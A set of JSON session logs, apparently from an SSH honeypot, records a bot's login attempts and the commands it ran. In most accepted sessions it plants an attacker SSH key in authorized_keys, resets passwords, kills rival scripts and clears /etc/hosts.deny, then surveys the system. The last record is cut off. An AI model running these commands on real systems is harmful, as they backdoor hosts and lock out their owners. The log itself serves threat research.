{"id":"3895146f-1d56-4fdb-8a79-713a4451fd70","name":"cosmic-thawing-meerkat","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":51600,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:30:53.514285+00:00","ended_at":"2026-08-26T14:30:54.693634+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6891adec-d205-41a9-baec-2f5a5e4d3213","name":"reedy-opal-bittern","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":58170,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:29:20.135184+00:00","ended_at":"2026-08-26T14:29:21.950257+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-26T14:28:54.105528+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:28:54.399244+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:28:59.086059+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:29:00.108038+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:29:00.402325+00:00","kind":"input","latency_ms":null,"data":"echo -e \"@dm1n\\nH5XiUbnTwClG\\nH5XiUbnTwClG\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:29:00.699650+00:00","kind":"input","latency_ms":null,"data":"echo \"@dm1n\\nH5XiUbnTwClG\\nH5XiUbnTwClG\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:29:00.993613+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:29:01.812722+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:29:02.110627+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:29:02.970243+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:29:03.267935+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:29:05.073733+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:29:05.369195+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:29:06.363614+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:29:06.658867+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:29:08.562139+00:00","kind":"output","latency_ms":null,"data":" 14:29:08 up 6 days, 11:19, 0 user, load average: 0.12, 0.12, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:29:08.868688+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:29:10.305822+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:29:10.600084+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:29:12.239898+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:29:12.535242+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:29:14.025632+00:00","kind":"output","latency_ms":null,"data":"top - 14:29:14 up 6 days, 11:19, 0 user, load average: 0.12, 0.12, 0.07\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:29:14.322552+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:29:15.440308+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:29:15.737562+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:29:16.561607+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:29:16.857084+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:29:18.390154+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-26T14:29:18.688303+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:29:19.842294+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:29:20.135916+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:29:21.863310+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"@dm1n","method":"password","accepted":true,"tier":"other"}]} {"id":"478fd561-fba4-4505-9c48-bd87de308891","name":"ashen-dewy-galago","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":58188,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:28:57.498902+00:00","ended_at":"2026-08-26T14:28:59.001996+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e4cb31f4-9082-4d5c-9c86-1ecfb29d2545","name":"austere-ginger-walrus","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":58184,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:28:55.022084+00:00","ended_at":"2026-08-26T14:28:56.888327+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bed0f065-88a9-4511-b220-7486a531d149","name":"jolly-brisk-ouzel","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":64060,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:27:19.683969+00:00","ended_at":"2026-08-26T14:27:21.927711+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:26:53.129752+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:26:53.419127+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:26:57.345457+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:26:58.396283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:26:58.688215+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zmOGODt7crf0\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:26:58.977332+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:26:59.265900+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:27:00.023973+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:27:00.115735+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:27:00.412742+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:27:01.938131+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:27:02.232774+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T14:27:03.242616+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T14:27:03.535763+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T14:27:05.230545+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T14:27:05.520604+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T14:27:07.655232+00:00","kind":"output","latency_ms":null,"data":" 14:27:07 up 6 days, 11:17, 0 user, load average: 0.05, 0.06, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T14:27:07.946468+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T14:27:08.848577+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T14:27:09.140318+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T14:27:10.254760+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T14:27:10.545048+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T14:27:12.099866+00:00","kind":"output","latency_ms":null,"data":"top - 14:27:12 up 6 days, 11:17, 0 user, load average: 0.05, 0.06, 0.05\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T14:27:12.390523+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T14:27:14.506446+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T14:27:14.804346+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T14:27:15.908413+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T14:27:16.198930+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T14:27:17.298145+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T14:27:17.589091+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T14:27:19.392799+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T14:27:19.684837+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T14:27:21.842025+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"456654","method":"password","accepted":true,"tier":"other"}]} {"id":"89a537ce-1175-4584-bcf3-29434c68c4a4","name":"breezy-mindful-warbler","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":58428,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:26:56.077641+00:00","ended_at":"2026-08-26T14:26:57.253681+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1e7747d1-04e8-4e34-99f1-a79b5e665eba","name":"quiet-dusty-cheetah","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":58418,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:26:54.063712+00:00","ended_at":"2026-08-26T14:26:55.553853+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1ebbb7f1-d5fc-490f-9b3f-11e5171af2f9","name":"loyal-flinty-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":50212,"username":"webuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":285,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:25:22.761801+00:00","ended_at":"2026-08-26T14:25:24.511576+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-26T14:24:55.036082+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:24:55.319826+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:24:59.103237+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:25:00.323317+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:25:00.609566+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nVL7n7DKJpuNw\\nVL7n7DKJpuNw\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:25:00.892532+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nVL7n7DKJpuNw\\nVL7n7DKJpuNw\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:25:01.176206+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:25:02.486592+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:25:02.575228+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:25:03.126408+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T14:25:03.414143+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T14:25:04.603690+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:25:04.889858+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T14:25:06.242607+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T14:25:06.530969+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T14:25:07.768867+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T14:25:08.053826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T14:25:09.578535+00:00","kind":"output","latency_ms":null,"data":" 14:25:09 up 6 days, 11:15, 0 user, load average: 0.32, 0.24, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T14:25:09.863199+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T14:25:11.914744+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T14:25:12.200275+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T14:25:13.228446+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T14:25:13.513607+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T14:25:14.905952+00:00","kind":"output","latency_ms":null,"data":"top - 14:25:14 up 6 days, 11:15, 0 user, load average: 0.32, 0.24, 0.34\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T14:25:15.190410+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T14:25:17.219029+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T14:25:17.502950+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T14:25:18.539493+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T14:25:18.824484+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T14:25:20.252906+00:00","kind":"output","latency_ms":null,"data":"webuser"},{"seq":31,"at":"2026-08-26T14:25:20.535456+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T14:25:22.479707+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T14:25:22.762789+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T14:25:24.428006+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"webuser","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"f204ce74-8583-4004-a3c0-aaf0b823c4cb","name":"brisk-thrifty-starling","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":50224,"username":"webuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:24:58.326248+00:00","ended_at":"2026-08-26T14:24:59.020377+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"webuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"eecc3517-61c6-4d3f-ba90-f77c4e2979d5","name":"courtly-hollow-moorhen","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":50214,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:24:55.983000+00:00","ended_at":"2026-08-26T14:24:57.767734+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"da7a776d-37a1-4814-9fd8-c934d2057490","name":"slender-tawny-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":60544,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":282,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:23:21.970160+00:00","ended_at":"2026-08-26T14:23:23.893045+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:22:52.944131+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:22:53.225588+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:22:58.147058+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:22:59.628921+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:22:59.911862+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1Acrfnr8lswq\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:23:00.194995+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:23:00.476616+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:23:01.528055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:23:01.881924+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:23:02.165852+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:23:03.341455+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:23:03.628366+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T14:23:05.384744+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T14:23:05.670255+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T14:23:07.302680+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T14:23:07.586372+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T14:23:08.594073+00:00","kind":"output","latency_ms":null,"data":" 14:23:08 up 6 days, 11:13, 0 user, load average: 0.09, 0.11, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T14:23:08.877051+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T14:23:10.476956+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T14:23:10.760642+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 